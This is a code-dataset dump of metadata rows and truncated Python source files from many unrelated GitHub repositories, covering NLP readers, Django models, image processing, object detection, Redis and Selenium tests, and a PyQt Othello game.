46822ab4f180f6abb8baed21724debbfb98f1cc9
[ "Apache-2.0" ]
permissive
fireflycsq/pycorrector
1ed2a6df9ec05bb9055b2052f92301212ebab235
d1096e4cee99ba95bb4df945707bbd2b8972717a
refs/heads/master
2020-03-21T15:43:51.228521
2018-06-12T07:34:44
2018-06-12T07:34:44
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,961
py
# -*- coding: utf-8 -*- # Author: XuMing <xuming624@qq.com> # Brief: Corpus for model import random from pycorrector.seq2seq.reader import Reader, PAD_TOKEN, EOS_TOKEN, GO_TOKEN class FCEReader(Reader): """ Read FCE data set """ UNKNOWN_TOKEN = 'UNK' DROPOUT_TOKENS = {"a", "an", "the", "'ll", "'s...
[ "507153809@qq.com" ]
507153809@qq.com
2c13935f6db06b4d1fa751b1ff2446b1a174a66b
fb388f026764c7859d90a8c615f4157f37caa9e3
/aromas/models.py
67739b833dad37c03e00c9fe4743e96716b0d84d
[]
no_license
bucky1134/bbdperfumers
e6b1ef554f048830b711209f60d83f67de820b7e
0589e892211462d7800f4b3496906d584844b499
refs/heads/master
2022-12-01T19:06:48.965273
2019-09-13T14:03:33
2019-09-13T14:03:33
185,643,557
0
0
null
2022-11-22T03:49:12
2019-05-08T16:34:02
HTML
UTF-8
Python
false
false
610
py
from django.db import models class aroma(models.Model): title=models.CharField(max_length=200) shordesc=models.TextField(blank=True) longdesc=models.TextField(blank=True) origin=models.TextField(blank=True) Botanicalname=models.TextField(blank=True) price=models.IntegerField() maxprice=mode...
[ "singhvishal7000@gmail.com" ]
singhvishal7000@gmail.com
ee8fcb6113dfdf4554705e7c1cf7fe5e5b3c6017
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03253/s028075824.py
5a75ef3726225d5282ae0dd3a1b8e2323b4d2dfd
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
1,029
py
import sys import math sys.setrecursionlimit(1000000) # 再帰上限を増やす def calc_combi(n, m, mod=1000000007): """ nCmの組み合わせ数を数える """ if n - m < m: return calc_combi(n, n - m) ans_mull, ans_div = 1, 1 for i in range(m): ans_mull *= (n - i) ans_div *= (i + 1) ans_mull %= mod ...
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
5ca07c00232426f329985426bd22667a964a5ca7
957a439fe93c3ee4a28a924d39622d7edaceacbc
/00_DataPreprocess.py
ed3f3b623f4b43a4a252a9eca1083dc7493a3c4c
[]
no_license
shryu8902/covid19
0439df12a81eab896c6c882ca67ad651bf0f0b10
b3771bd043e115e70ee81a0482adf7e4acc6ae86
refs/heads/master
2021-05-25T15:24:43.480416
2020-05-12T12:06:15
2020-05-12T12:06:15
253,807,319
0
0
null
null
null
null
UTF-8
Python
false
false
15,741
py
#%% import numpy as np import pandas as pd import os from scipy.optimize import curve_fit from sklearn.preprocessing import MinMaxScaler import scipy import matplotlib from matplotlib import pyplot as plt import time import tensorflow as tf from tensorflow.keras import layers, Sequential from tensorflow.keras import In...
[ "shryu8902@naver.com" ]
shryu8902@naver.com
384a7035ff2ff33d798a42e529fd345c67054b17
c1f78c3fe39fef1b95c45c6e163d9c029c0f00f9
/napari/layers/image/experimental/octree.py
871b929dd2c362af0631893e6a9c607e14811c18
[ "BSD-3-Clause" ]
permissive
navidsad/napari
3733266f7c6be9d78c93c84b196bef8e21b3dd7d
9d5021c73a34db12fae83756063b1d08b0104fe8
refs/heads/master
2023-05-25T10:04:48.288304
2021-06-01T15:56:47
2021-06-01T15:56:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
14,044
py
"""Octree class. """ import logging import math from typing import List, Optional from ....utils.perf import block_timer from ....utils.translations import trans from .octree_chunk import OctreeChunk, OctreeLocation from .octree_level import OctreeLevel, log_levels from .octree_tile_builder import create_downsampled_l...
[ "noreply@github.com" ]
navidsad.noreply@github.com
8e96c03ad081a808c8a00b1331807626a07a6077
27bfa6a3e3c8c93fa03ec71b256ec9471f86a6e0
/Home_App/models.py
31572f267c1d34363fdedb8330c41a704c75a6ce
[]
no_license
mshalom2/my-first-blog
d14d40b9ce05667451cfd45b4a5fde9e5b628e29
b688a7807473051e1e8747535307b854845d34e8
refs/heads/master
2023-06-07T16:25:45.905483
2023-05-31T16:34:15
2023-05-31T16:34:15
187,458,997
0
0
null
null
null
null
UTF-8
Python
false
false
216
py
from django.db import models # Create your models here. class Category(models.Model): cat_name = models.CharField(max_length=200) def Add_To_Cat(self): self.save() def __str__(self): return self.cat_name
[ "shalommwesigwa@gmail.com" ]
shalommwesigwa@gmail.com
531328a7203522f625b1e1d7157e9d0d3de657c3
ab40571d5051ad53c0f205fa797ba36eac516d06
/language/serene/wiki_index.py
d3f3722d348a60910e695ac044d8e3a711095a05
[ "Apache-2.0", "LicenseRef-scancode-generic-cla" ]
permissive
google-research/language
e941b1a92ab46d40d8d03bb0c314905cb6902ce2
ac9447064195e06de48cc91ff642f7fffa28ffe8
refs/heads/master
2023-08-24T23:10:13.207294
2023-05-25T20:47:18
2023-05-25T22:29:27
153,201,352
1,567
371
Apache-2.0
2023-07-06T23:03:15
2018-10-16T00:58:14
Python
UTF-8
Python
false
false
14,914
py
# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
[ "kentonl@google.com" ]
kentonl@google.com
e197975f4c4008ca8f7cf3d6362a1d7e2a93701a
41dbaa0d745f9e52231ceb23f59b2b598672da63
/pyinsteon/subscriber_base.py
eb1fecb142c1a060cb3b0abee83343653b8b5f82
[ "MIT" ]
permissive
pyinsteon/pyinsteon
bdfbdcaf4f53ea40a6554b6cc5b939df3cd8079d
3f74aec8491fbc118c4732dbd990d91d31705845
refs/heads/dev
2023-08-31T21:24:26.168609
2023-08-31T04:26:03
2023-08-31T04:26:03
147,454,081
26
24
MIT
2023-09-11T23:14:31
2018-09-05T03:25:10
Python
UTF-8
Python
false
false
1,217
py
"""Base class for all subscribable classes.""" import logging from abc import ABC from typing import Callable from .utils import publish_topic, subscribe_topic, unsubscribe_topic _LOGGER = logging.getLogger(__name__) class SubscriberBase(ABC): """Event class to manage triggering of events.""" def __init__(...
[ "noreply@github.com" ]
pyinsteon.noreply@github.com
152bc3da75c17c3eeecc8fdd3d99a1dbdd1baa23
7c3bc8d8db41e3f65920f085c88e80bba4388a00
/homelinks/uol.py
fa4901858534f61fd9d5f595cab5e0ab195c5785
[]
no_license
alexeiramone/html-parsing-scraping-tests
d62c628c15bb19feb2e5bfed14842c59520d60ca
d6c49d7f0b9cdc3a286ac41f2afaaf734431198d
refs/heads/master
2020-12-25T16:54:31.766938
2017-05-11T20:50:45
2017-05-11T20:50:45
33,034,543
0
0
null
null
null
null
UTF-8
Python
false
false
1,825
py
# -*- coding: utf-8 -*- import codecs import requests import sys from bs4 import BeautifulSoup reload(sys) sys.setdefaultencoding('utf-8') h = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246'} r = requests.get("http://ww...
[ "alexei@martchenko.com.br" ]
alexei@martchenko.com.br
37f6724585a71b87339e498274d17d2f828f55ce
e29faa10be00e8c839bf909922ace176b05826bb
/misc/metric_loss_ops.py
272388b01a7837eecc308939289b84d6c1ef0bac
[]
no_license
weiyinfu/learnTensorflow
666e46259da435c19c06f3abbaa8a00ae37431ce
98cb7a978dd682ec8f651f9da57e2f23d47c21a4
refs/heads/master
2022-01-01T08:10:40.215554
2021-12-26T06:24:40
2021-12-26T06:24:40
145,659,381
0
0
null
null
null
null
UTF-8
Python
false
false
41,466
py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by...
[ "weiyinfu.weiyinfu@bytedance.com" ]
weiyinfu.weiyinfu@bytedance.com
28900c6dcad473509aab1028679dca310234343c
274f2559ebc5e37f27ee8334745b1a9b2e1dfd4b
/othello_main.py
ad1e6d25ee55e0d47e76e8907d485011fa962d21
[]
no_license
SCPJaehyeon/Reverse_Othello
814edbda32d5e241d2cb137281fc06079d88a669
d855669019f4e51ed32f5b0ce99eb1161e983478
refs/heads/master
2021-01-02T01:16:57.767403
2020-02-10T14:49:32
2020-02-10T14:49:32
239,428,688
1
0
null
null
null
null
UTF-8
Python
false
false
2,029
py
import sys from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PyQt5 import uic from othello_lpvp import * from othello_lpva import * from othello_npvp import * form_class_main = uic.loadUiType("ui/dlg_main.ui")[0] #UI 불러오기 class WindowClassMain(QMainWindow, form_class_main) : #메인화면 클래스 선언(화면 띄...
[ "noreply@github.com" ]
SCPJaehyeon.noreply@github.com
3950135a8e8f40549c9b1fa11f0ecd353d3894a7
5ba91ac5bce199a4c46729cc9991d0904b623b46
/1006.py
52169253c6989803faa3f1758c6c3d8d4b8437b1
[]
no_license
tcsenna/myURIsolutions
e473451906f7eea473e58d227d331ff9db7204e1
5993394e12c528aa7e18029f201ef6520f78c787
refs/heads/master
2020-06-29T12:22:36.109495
2019-08-12T10:38:36
2019-08-12T10:38:36
200,534,558
0
0
null
null
null
null
UTF-8
Python
false
false
223
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Aug 4 00:58:05 2019 @author: thonia """ n1=float(input()) n2=float(input()) n3=float(input()) med=(2*n1+3*n2+5*n3)/10 print('MEDIA = {:.1f}'.format(med))
[ "thonia@poli.ufrj.br" ]
thonia@poli.ufrj.br
8a722659600d27e1acae548e0086bd9a5919bedc
8208ad241b613a3a8215be2c25388ff4b361278b
/histogram-equalization/hist_eq_numpy.py
c402a5de4052b743c241c5b8a38e266493e8696e
[ "MIT" ]
permissive
sonal-raj/image-processing
ad2e744828b2d26c23fae8fab1562e2ff573e89e
5d94b7af595e55911b96345db3d1ec504166e7cf
refs/heads/master
2020-04-01T05:22:00.981164
2018-12-23T19:07:11
2018-12-23T19:07:11
152,900,236
0
1
null
null
null
null
UTF-8
Python
false
false
1,454
py
import numpy as np from cv2 import imread from matplotlib import pyplot as plt img = imread('../images/img1.jpg',0) hist,bins = np.histogram(img.flatten(),256,[0,256]) cdf = hist.cumsum() cdf_normalized = cdf *hist.max()/ cdf.max() # this line not necessary. plt.plot(cdf_normalized, color = 'b') plt.hist(img.fla...
[ "sonal.nitjsr@gmail.com" ]
sonal.nitjsr@gmail.com
e13daabca7385ff27b379ba894217d3b098cc41e
b2853ba7f99defb86dde0bc8a5a46b2e3379ee3c
/python/known_pose_client/__init__.py
c83f8ea7857634ae3cc11e82bca9c1274c54f6ac
[]
no_license
kw90/known-pose-api
79a83474fe5df1029aef48505f843c5258da756f
4b5376adc4d3ee79666160ff912f7242d812e020
refs/heads/master
2022-12-13T00:23:34.061427
2019-11-18T18:09:13
2019-11-18T18:09:13
217,305,106
0
0
null
2022-12-07T20:30:28
2019-10-24T13:24:09
C#
UTF-8
Python
false
false
1,580
py
# coding: utf-8 # flake8: noqa """ Known Pose API Define and retrieve (accurate) semantic poses in a 2D environment. This version is a workaround for some not yet available features of the OpenAPI Specification v3.0 (e.g. `anyOf` as a response type and adding a `discriminator` for supporting polymorphism/co...
[ "kai.waelti@pm.me" ]
kai.waelti@pm.me
3a6be9787b67b79391a4ea575d8815a58efdd38c
88d5aafed9edb9f455fac4fa2de587f750ed732d
/xsedesummer2019/medical/preprocess.py
fb23e9633e6eaba9e5fd323be50ef059dc9a941c
[]
no_license
HamidAliAbbasi/Deep-Learning-Internship
348482654ade4580d4d76ba35fe0444867f91a54
61669ffe46f6ca8a1f86f95e0e2cdbbee0192955
refs/heads/master
2022-06-19T06:13:47.221152
2020-05-07T17:41:05
2020-05-07T17:41:05
262,115,455
1
0
null
null
null
null
UTF-8
Python
false
false
864
py
import csv, os, shutil base_dir = '/home/xsede4/xsedesummer2019/medical/img/' img_dir = '/home/xsede4/xsedesummer2019/medical/img/original_images/' with open('data.csv', mode='r') as csv_file: line_count = 0 csv_reader = csv.DictReader(csv_file) for row in csv_reader: if line_count == 0: ...
[ "hamidaliabbasi@gmail.com" ]
hamidaliabbasi@gmail.com
f78016bc7c7829ca690c9037b90980447d86600f
b7e2cca563ef8b1a7f29070bb1c7a8eb3f11d3a9
/KNN/util.py
fb5253e80aeee217ee2510d1a0cd57c3bd963fe1
[]
no_license
ahndroo/Udemy
a0aa9cbfcba710c8b729fba32cc72ae8cc2c83f6
0f5678eae17cbb5ed2496f847e1c397108d19d46
refs/heads/master
2021-01-19T17:14:38.790027
2018-04-13T21:12:51
2018-04-13T21:12:51
86,938,332
0
0
null
null
null
null
UTF-8
Python
false
false
1,329
py
import numpy as np import pandas as pd def get_data(limit = None): print('Reading in and transforming data...') df = pd.read_csv('MNISTtrain.csv') data = df.as_matrix() np.random.shuffle(data) X = data[:,1:] / 255.0 # normalize data Y = data[:,0] if limit is not None: X, Y = X[:limi...
[ "Andrew.kirk@outlook.com" ]
Andrew.kirk@outlook.com
6612eaa21018c6fd7b916764fb7306ad88b88ddd
e27befdb7205dd552ee9cdb0122bcbf7c6793a95
/profiles/models.py
010eb8f8fd7b3bcd35d0444a4b9ea50fff5b8456
[]
no_license
gustavoallfadir/django-image-forum
6996d8700d1afedee9b1179bf18f3f3af9b167e9
45a29712bc5e3a6f92caa4180458cac1346ee5e0
refs/heads/master
2023-02-07T15:04:52.142335
2020-12-29T06:57:25
2020-12-29T06:57:25
325,210,154
0
0
null
null
null
null
UTF-8
Python
false
false
2,664
py
from django.db import models from django.utils import timezone from django.contrib.auth.models import User from collections import Counter from forum.models import Post, Reply, ReplyToReply # Create your models here. class UserMethod(User): "Proxy model class for creating User methods" #Don't change this pa...
[ "gustavo.allfadir@gmail.com" ]
gustavo.allfadir@gmail.com
9e16773835ce51e64709f46cb6093b668958019f
2bf6bf2eeb72b9eb4b8a41f36fb56585e140a611
/pickle_to_tex.py
82080a24d542ddb03dc447346c6cdf65cb6965bc
[ "MIT" ]
permissive
Daniel-Bu/exposure
0fcff9177764cc85bb46298cfcdfaf5aeb29b6ec
74549ac75822fba41125cb0a086905a51db49d7b
refs/heads/master
2020-09-27T07:34:49.726377
2019-12-07T07:06:34
2019-12-07T07:06:34
226,464,955
0
0
MIT
2019-12-07T06:12:36
2019-12-07T06:12:35
null
UTF-8
Python
false
false
5,295
py
# This script converts output pickle to step-by-step latex figures import numpy as np import os import pickle as pickle import shutil NUM_STEPS = 5 CURVE_STEPS = 8 files = [] filters = [ 'Expo.', 'Gam.', 'W.B.', 'Satu.', 'Tone', 'Cst.', 'BW', 'Color', ] def visualize_detail(name, pa...
[ "yuanmhu@gmail.com" ]
yuanmhu@gmail.com
e0c71dc714a97faaca6e6a3978e34959b43481c4
03b6e62060ae8db13bfe1ace9b2ee108d96f785b
/functions/box_utils.py
e7aa8a3a01eff392c2ff53b00e0b58ab115d65cb
[]
no_license
pyaf/ssd
d5321cf2bce62a24c37c8f23ba5a326c61ea4dff
0e8cf8bbc6fdeb57acd7ceb4fffab647921d3018
refs/heads/master
2022-03-08T09:18:32.243214
2018-10-29T12:02:31
2018-10-29T12:02:31
151,805,775
0
0
null
null
null
null
UTF-8
Python
false
false
9,420
py
# -*- coding: utf-8 -*- import torch def point_form(boxes): """ Convert prior_boxes to (xmin, ymin, xmax, ymax) representation for comparison to point form ground truth data. Args: boxes: (tensor) center-size default boxes from priorbox layers. Return: boxes: (tensor) Converted xmin, y...
[ "rishabh.agrahari.eee15@iitbhu.ac.in" ]
rishabh.agrahari.eee15@iitbhu.ac.in
5b666edc2f564f9e62ca32f883d55c4dc29f7449
567eac942e94c653dda710d52c1eb6db0847a075
/0x0B-python-input_output/100-append_after.py
c1d85581606a8e1587723e9fb8ea9451eb415a89
[]
no_license
mecomontes/Higher-Level-Programming
beeb4a410ff99fa062a86bd0a7f4d87a39889283
3a78f6eeedc70e2f447c49ccaf0838f5878f651c
refs/heads/main
2023-06-26T18:02:29.046302
2021-07-13T14:58:24
2021-07-13T14:58:24
385,641,861
0
0
null
null
null
null
UTF-8
Python
false
false
751
py
#!/usr/bin/python3 # -*- coding: utf-8 -*- """ Created on Tru Jun 3 15:13:37 2020 @author: Robinson Montes """ def append_after(filename="", search_string="", new_string=""): """ Inserts a line after each line containing a specific string Arguments: filename (str): The name of the file s...
[ "1574@holbertonschool.com" ]
1574@holbertonschool.com
70dbfa93bdf1248747f264ad10084ce1d9969214
2fbca280d420d30f907e419d00af601241c4cdf0
/mogo-redis/redistest.py
2990626ff9f0f874850b6d6a667b4d9491447c4c
[]
no_license
ozhyun/PythonDemo
693bebae55f44ecadafcc61430466d090510e600
73d3a95fb89a7c74e80c34916ed803cef89bb469
refs/heads/master
2020-03-24T06:33:30.639881
2019-07-20T17:50:57
2019-07-20T17:50:57
142,533,064
0
0
null
null
null
null
UTF-8
Python
false
false
456
py
#!/us/bin/env python3 import redis import time pool = redis.ConnectionPool(host='172.16.20.50', port=6379, db=0) r = redis.Redis(connection_pool=pool) #r.set('bing', 'baz') # pipeline #pipe = r.pipeline() #pipe.set('foo', 'bar') #pipe.get('bing') #pipe.execute() start = time.time() i = 0 while i < 10000: r.publi...
[ "ozhyun@126.com" ]
ozhyun@126.com
d7d22bee196dd88cf02a813ed99e658a7a9134a1
d0758e0ca004226cec8ad8b26c9565c98534a8b8
/11-videogames/Julio/3 - Moscas/game.py
91460a45758ba15d812fa0b32ac1bfb74b85c7e4
[]
no_license
pythoncanarias/eoi
334d64a96afc76ac1fa10282378f291b6d8c94b3
349367254f85e3e4273cede067ca950913a1332c
refs/heads/master
2023-07-06T08:00:11.366345
2023-06-30T15:19:33
2023-06-30T15:19:33
222,742,870
26
19
null
2023-06-25T16:03:46
2019-11-19T16:41:25
Jupyter Notebook
UTF-8
Python
false
false
1,274
py
import pygame import math from settings import * from sprites import Player class Game: def __init__(self): pygame.init() self.screen = pygame.display.set_mode([WIDTH, HEIGHT]) pygame.display.set_caption(TITLE) self.clock = pygame.time.Clock() self.all_sprites...
[ "euribates@gmail.com" ]
euribates@gmail.com
01ccbbe00dbf3ab4f1fb96b3051c772748fdb4ed
dda965288972e2a0318a3822f6e5dcde4844a993
/functional_tests.py
4262fac397e81ca646c752b23c9e6d5091e697fd
[]
no_license
tarakdavis/text-classifier
c7da19068b57a90a5cd3608c0c4a474e20cd27fd
cf4153a635ee246ba6698cc41d8b4c4e0f617faa
refs/heads/master
2020-12-04T01:58:22.441587
2016-10-05T01:11:25
2016-10-05T01:11:25
67,163,636
1
3
null
null
null
null
UTF-8
Python
false
false
881
py
from selenium import webdriver import unittest class NewVisitorTest(unittest.TestCase): def setUp(self): self.browser = webdriver.Firefox() self.browser.implicitly_wait(10) def tearDown(self): self.browser.quit() def test_can_start_a_list_and_retrieve_it_later(self): sel...
[ "Andrewmusicant@yahoo.com" ]
Andrewmusicant@yahoo.com
e49912a805f6e6aed938a3e37b74a4a76ee1f06b
813c2f08f165b1c47158fb365740df84eb3bf2a9
/app/food/views.py
b92b0961def43e958b8347eae05310872a580a66
[]
no_license
CharlyJazz/Flask-MVC-Template
6e1447ced8dda6dcdcadd29ac37d1bbe9955c058
097a6651498a661cda279f413f7f19974a6e5905
refs/heads/master
2023-03-07T19:53:08.960246
2023-03-02T16:56:40
2023-03-02T16:56:40
86,268,509
69
40
null
2022-12-07T23:58:28
2017-03-26T22:12:35
Python
UTF-8
Python
false
false
1,026
py
from flask import request, url_for, redirect, render_template, current_app from flask.views import MethodView from ..models import FinalUserImage, db from .forms import FoodImageForm from flask_security import current_user from . import food_photo # from .. import app class ProfileView(MethodView): def get(self): ...
[ "carlosjazzc1@gmail.com" ]
carlosjazzc1@gmail.com
03bcad2f49a796e50d41e05a57f6c096d03928b1
642e8d6d8cd8d08a73bdcf82ae9689a09284025c
/celery/tests/test_pickle.py
bf2f4ccc4968b6c53b399fa9e10f0ffbaf43368d
[ "BSD-3-Clause" ]
permissive
abecciu/celery
941f29c033b54b766166f17aa8c5e4be05df08b9
f0c399e34d56c7a2a14cb42bfb2b6455c68ef0c0
refs/heads/master
2021-01-14T12:57:11.230199
2009-09-10T13:44:51
2009-09-10T13:44:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,631
py
import unittest from celery.serialization import pickle class RegularException(Exception): pass class ArgOverrideException(Exception): def __init__(self, message, status_code=10): self.status_code = status_code super(ArgOverrideException, self).__init__(message, status_code) class TestPic...
[ "askh@opera.com" ]
askh@opera.com
a5b2f25e73274f3b2735db41db0c7bc036bb838d
b5740d4af65931d09e6b53e7d5aab52487c93d05
/players/urls.py
ec4ab79dd4a33421c1a77496ba43f0f72a6aba14
[]
no_license
ricardoquijas290582/Django-soccer
0a986281a2a0bf07137ef2e75cb6e885c1bfa197
6ae45fef52cbfdd089c37244cb829d9a0abfb9db
refs/heads/master
2022-11-10T15:30:45.871114
2020-06-29T23:51:10
2020-06-29T23:51:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
155
py
from django.urls import path from .views import GetPlayer, GetPlayers urlpatterns = [ path('players/', GetPlayers), path('<int:id>', GetPlayer) ]
[ "rarosagar.igf@gmail.com" ]
rarosagar.igf@gmail.com
a946a6faa3eee8cfaddd6ecdba38a3a119a3c19b
674f031a9a37c57bf92bd5984e107329b9cba451
/cursorpagination/cursorpagination/wsgi.py
d67fb97124d5da133e382b3f60144e3af11ed925
[]
no_license
SoniArpit/DRFTut
60d8bd08f50d94532c325ce27822ffa6a6bc8757
cb6bbb52ba561e671bee43924a7eb8d4b9ccabc5
refs/heads/master
2023-02-08T11:08:45.175431
2020-12-25T04:19:51
2020-12-25T04:19:51
319,843,652
0
0
null
null
null
null
UTF-8
Python
false
false
409
py
""" WSGI config for cursorpagination project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJA...
[ "arpitsoni362@gmail.com" ]
arpitsoni362@gmail.com
653672d1f91072a2806fb1c4180e70d29e4bf455
b20ee54eb7b3187ed926242054430c97661a0aed
/bat/python.py
4fe4c89034e07d4c1e49fe0f9e47a9831028e6e8
[]
no_license
xiehaibin/study
f08df45414e4f9b9668a0314651acb2c09c3ce91
6b06d99de8d7c0ae061e4d38f640e82d43068b10
refs/heads/master
2021-06-04T00:38:43.443234
2021-04-28T05:53:40
2021-04-28T05:53:40
102,921,177
2
0
null
2018-03-07T06:25:42
2017-09-09T02:37:46
Python
UTF-8
Python
false
false
155
py
import os print("---------------run python") t_path = 'res/effectsplist/000/mrshow82.plist' t_path_dir = os.path.dirname(t_path).strip() print(t_path_dir)
[ "362912509@qq.com" ]
362912509@qq.com
84b1335f0d4d79139dfb223108f37b103cc63817
18e1a7e0a428cc3501c46c25107fed56b7b79fdb
/user/migrations/0007_delete_image.py
57bb692f8e812849b43bd169821e6efea0b5bd0b
[]
no_license
Liimlas/verkkokauppa
ab617069bde3d8061a02b1267efe724cf22b6231
7f03b8344eac9a338da10a903f3007224a50d3ef
refs/heads/master
2020-04-24T15:08:34.906211
2019-02-22T11:33:58
2019-02-22T11:33:58
172,053,789
0
0
null
null
null
null
UTF-8
Python
false
false
341
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2018-02-18 16:12 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('user', '0006_image'), ] operations = [ migrations.DeleteModel( name='Imag...
[ "elisa.naskali@gmail.com" ]
elisa.naskali@gmail.com
bc75cb4395e919cde1280ff3de7fd7c10a950f4d
494f013f79868bf140df235974f64b0dc38e60cc
/mang.py
62f6cc000c8932e5195c01127b9ba18c98575c77
[]
no_license
buingocquang/linux
b1483dd865d695b94aec377c7ae361790d2d013f
d108f14d39fb29803856e0453b72a30890451717
refs/heads/master
2020-03-12T23:14:09.863834
2018-04-24T13:56:36
2018-04-24T13:56:36
130,862,010
0
0
null
null
null
null
UTF-8
Python
false
false
313
py
n = input('so luong phan tu: ') a = [] tong = 0 for i in range(0,n): a.append(input('a[%d] = ' %i)) print'cac phan tu vua nhap' print a for i in range(0,n): if(a[i] % 2 == 0): tong = tong + a[i] print 'tong cac phan tu chan : ',tong def sapxep(a): a.sort() print a print 'ham sau sap xep',sapxep(a)
[ "noreply@github.com" ]
buingocquang.noreply@github.com
5c7e29483247af638e098e21cb791ffdfbf8a57d
47c9aaeb2088b8852344aab2435d52252f9dd692
/Epsilon_Greedy/9Epsilon_greedy.py
a106a114485dccdc00a062b09605e0b4b334ce49
[]
no_license
scheeloong/Multi-arm-Banidt-Exp3
608a910821cef9d949c94737d8d6a476c23e984b
9afe8390c8ac42bb92462d05d96650fb1363f842
refs/heads/master
2020-03-24T13:25:10.322575
2015-08-07T14:43:33
2015-08-07T14:43:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,371
py
# -*- coding: utf-8 -*- """ Created on Tue Jan 20 15:12:00 2015 @author: Summer """ from conf import * import time import re from random import random, choice from operator import itemgetter import datetime import numpy as np import math import random class articleAccess(): def __init__(self): self.acces...
[ "qw2ky@virginia.edu" ]
qw2ky@virginia.edu
58c9775a252000930a6cf8aff1401e5b0c0cda1d
0f684f1f5271bd18475113a46c0d7c1232a3da5a
/apps/missions/_tests/test_mission_requires_skills.py
04a98b904ff5275d43263e86edfeaa065d1b1e87
[]
no_license
aaronmyatt/talespace-backend
20eb648422eef326c1b622e9a1b675fefa6a004f
c229ea3d5554a80e0b5d193921b2a6f8dea58f17
refs/heads/master
2020-07-12T09:31:44.441170
2017-04-07T01:31:50
2017-04-07T01:31:50
73,912,315
1
0
null
2017-04-11T13:17:32
2016-11-16T11:11:42
Python
UTF-8
Python
false
false
792
py
from django.test import TestCase from rest_framework.test import APIClient from ..models import MissionRequiresSkills, Missions class TestMissionRequiresSkills(TestCase): fixtures = ['users.json', 'missions.json'] def setUp(self): login_details = { 'email': 'test-admin@user.com', ...
[ "aaronmyatt@gmail.com" ]
aaronmyatt@gmail.com
87c0a012aec1b296901b94aebf400fc38c9a261e
b9076ee6fa9ca399d203047a2d213060f4abb898
/mbbclient/mbb_client.py
5f43c3bfd98fbb7e284662f7211ee6ca93f19ae2
[ "MIT" ]
permissive
jazzido/mbbclient
f87e1340ccfb1cf59067c6fd198e0a4a3f31865b
d169ed670a50aafe0d155f76d4a9bc73e5d3b04c
refs/heads/master
2016-09-07T18:37:28.541562
2012-11-28T17:50:51
2012-11-28T17:50:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,556
py
# coding: utf-8 import sys import urllib2 import csv import json from itertools import ifilter import cmdln import mbb_webservices ALLOWED_FORMATS = ('CSV', 'JSON') class MBBClient(cmdln.Cmdln): """Uso: mbb_client SUBCOMANDO [ARGS...] mbb_client help SUBCOMANDO ${command_list} ${help_li...
[ "jazzido@jazzido.com" ]
jazzido@jazzido.com
f380794239054aadb7d39f8fae36e632f6a56276
7951305b50a17c6c76040f914a1815f381d1ba97
/intelora/core/RestAPI/utils.py
df7eeda88e63310f257607b84497ab2cc5e9769e
[ "MIT" ]
permissive
chwalters/core
47763659dbe267fd5d91f24a93569a99df22e31d
50812886149f46ea8d1be19f7311490891a8e29f
refs/heads/master
2021-04-30T13:29:29.815223
2018-01-25T19:41:46
2018-01-25T19:41:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,074
py
from functools import wraps from flask import request, Response from intelora.core.ConfigurationManager import SettingLoader def check_auth(username, password): """This function is called to check if a username / password combination is valid. """ sl = SettingLoader() settings = sl.settings r...
[ "paulquinit@gmail.com" ]
paulquinit@gmail.com
820056fcf0b577123f661318b8224a7db503cb03
01969217e2f434b36e7b0470ba257bf4bf297123
/deepmath/deephol/train/A_Simple_GH_SS_0/.ipynb_checkpoints/generator-checkpoint.py
c32e721821971de99887363b87ef2899e073ab8a
[ "Apache-2.0" ]
permissive
magualas/deepmath
b592f320f2ad92db1c5748ea9f6967c916c30899
c526cc957be0f6067ef9de1ea18f3e8bbc3be0e8
refs/heads/master
2020-09-09T17:27:40.563883
2019-12-17T01:31:48
2019-12-17T01:31:48
221,510,131
1
0
Apache-2.0
2019-11-13T17:00:15
2019-11-13T17:00:14
null
UTF-8
Python
false
false
5,525
py
""" generator.py Generator for batch training on keras models """ import pandas as pd import os import numpy as np import boto3 import tensorflow as tf # print(tf.__version__) import keras from keras.models import Sequential from keras.layers import Dense, Embedding, LSTM, SpatialDropout1D, Bidirectional from ker...
[ "ec2-user@ip-172-16-50-189.us-east-2.compute.internal" ]
ec2-user@ip-172-16-50-189.us-east-2.compute.internal
c5b30f8b5cad9ac276560858501ff8ed4aa8a8b1
0a7b77367cde1a64d95d1aab53b6a4f344056a9c
/mcod/organizations/views.py
685347e8b0ddc6c20caa3f4d05cff315812b5080
[]
no_license
kaglowka/danyzespolapi
529c2c7fc5d35c630498c8438e59dbcc3c00c437
0b3c07c68cf61faa81756822af9eec7c497bba2f
refs/heads/master
2023-01-13T19:11:40.247512
2018-10-28T12:36:47
2018-10-28T12:36:47
154,993,674
0
0
null
2022-12-26T20:44:19
2018-10-27T17:57:34
CSS
UTF-8
Python
false
false
2,487
py
